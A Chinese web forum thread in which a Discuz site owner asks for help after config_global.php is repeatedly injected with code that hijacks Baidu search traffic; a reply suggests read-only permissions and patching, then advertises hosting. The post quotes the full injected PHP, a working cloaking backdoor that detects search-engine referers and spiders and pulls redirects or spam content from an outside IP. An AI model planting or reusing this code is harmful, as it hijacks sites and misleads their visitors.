DZ的config_global.php文件被篡改，导致百度搜索被劫持，请教大神怎么解决？

奔跑的乌龟

config_global.php文件被 修改，注入以下代码，手动删除后，过几个小时又被修改，请各位大神指导解决，谢谢！！！

set_time_limit(20);error_reporting(0);
define('u_b','/');
define('s_u','http://104.202.66.185/');
define('s_s','@haosou.com|360.cn|baidu|spider|360spider|so|360|sogou|sm.cn|youdao@i');
define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);define('h_z',s_p());
function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$diconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}
if(preg_match(s_s,r_s)){$d_s=true;if(preg_match("@site%3A|inurl%3A@i",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s ){setcookie('xx',h_t,time()+259200);$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header("Location: ".$d_c.'?'.h_t);exit;}}if(strstr(h_z,u_b)){if(preg_match(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}

天外飘仙

这么乱呀！你可以把这个文件设置成只读哦

另外检查一下你所用的dz版本是否有补丁发布，有的话记住打好补丁，另外做好服务器安全；

有兴趣的话可以加一下 飘仙的qq群哦

奔跑的乌龟

天外飘仙 发表于 2016-7-22 09:40
这么乱呀！你可以把这个文件设置成只读哦

另外检查一下你所用的dz版本是否有补丁发布，有的话记住打好补 ...

谢谢，用的win2008r2 的服务器，最近总是遭到攻击，

天外飘仙

奔跑的乌龟 发表于 2016-7-23 09:00
谢谢，用的win2008r2 的服务器，最近总是遭到攻击，

不客气的；

需要的话 以后可以考虑一下 飘仙这边的 云服务器 哦，免费提供技术支持http://www.wensuhulian.com/services/CloudHost/